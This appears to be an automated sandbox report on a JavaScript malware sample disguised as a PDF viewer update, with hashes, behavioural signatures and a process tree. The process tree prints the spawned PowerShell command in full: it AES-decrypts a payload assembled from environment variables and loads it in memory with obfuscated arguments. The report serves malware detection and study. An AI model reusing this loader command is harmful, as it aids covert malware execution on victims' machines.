Analysis
- max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
11/10/2026, 00:21
Static task
static1
Behavioral task
behavioral1
Sample
Atualização-PDFViewer-v.63.js
Resource
win10v2004-20260911-en
13 signatures
150 seconds
General
- Target Atualização-PDFViewer-v.63.js
- Size 2.9MB
- Sample261011-anc84avy6j
- SHA256 8721d226858c3021456ced197a5bed3a0c3d69768183bb52dd0cb8b2106a6e9b
- MD5 c49e0a4ef4a1b784ffcecf82d6e678b1
- SHA1 de1d5d87f8262fd83d00e74c461caaf51b88509f
- SHA512 91041cd78dbb89012d0c69a5de687dec8a376997f97cb0559aeda8f3027696fd75489a673d52e6d769c8d3f6685839399b7cf8f41a0a34ce5a73e1e09374046d
- SSDEEP 384:+u0sHPoENvvuEf5FREj5LaVM6G0sUiZKfYLBjeRA5VBRWmLP2EhZV0TEF+NJt/oA:rs4PpdvmrZk
- TLSH T17BE51EA83BDCF181347F8DD766CABB6842AA2126DF5B65DC04081345C231DD4FABB85B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 252 800 powershell.exe 88 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 252 powershell.exe 9 252 powershell.exe -
pid Process 252 powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 252 powershell.exe 252 powershell.exe 252 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 252 powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Atualização-PDFViewer-v.63.js1⤵
- Reads the TCP/IP host and domain name from the registry
PID:3696
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$perseveringly=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$burnous=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$speedometer=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$pignolia=[Convert]::FromBase64String($perseveringly);$equilateral=[Security.Cryptography.Aes]::Create();$equilateral.Key=$burnous;$equilateral.IV=$speedometer;$helostomid=$equilateral.CreateDecryptor();$magistracies=$helostomid.TransformFinalBlock($pignolia,0,$pignolia.Length);[AppDomain]::CurrentDomain.Load($magistracies)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('ubB/aZpYgn9jFyv/NYQRptFRVO5sUixzMHFmaruudx3R+qbJUlcPm4vRf4/MLllTqkRM96j3n4WFOmlAg3n3kg==','','PXXFHEc+2V/h8cxKtzLGu4Z0Fh3gP5DHxkGVjClyP4y9JYIgjbCpBS2HhhOiT7fR','XFsYl1Uh0sJe9K0xlJGuyDwmKqe3+DGx/4V8Gda4cwc=','lr1Q6mVk7mEc2Mzu1TFgLGA5WehZRMD+c5b/90nssEc=','','Tut3L6vpOp2pFA0GAIjnBakPrPx44TScc/d+Jb+LzNU=','','3X5UN40kyw4HczRHiEirjf/v4UEAEez/HytrwleZw2jU335xAHwOLvViaAiJYivY','L94fQ2gKLhFg5uViwlpgS4vYvBhXQjWeCIdjM0tuluGQ2tSvSdhPCITyBuV6kL2s','S/hQublGWVew080/6+YvYqaRbBOGXH5N5IxHg8REedc=','J80ZRry7+FhJ4iyOWMi9LOWp+yIi33Z5d/WF556Uht8=','2Z0zg8/evMcRgUDM0214W+oMhQdpX6fTATUi1Z8xdKM=','','Vms2+4GdmjnVvO3W7wrGh9uGcO7OQX4qmGJItc04ldc=','LKRGoGwldh85bd9Tkq/+zSBpHMupP8502/1OkZCU3vE=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:252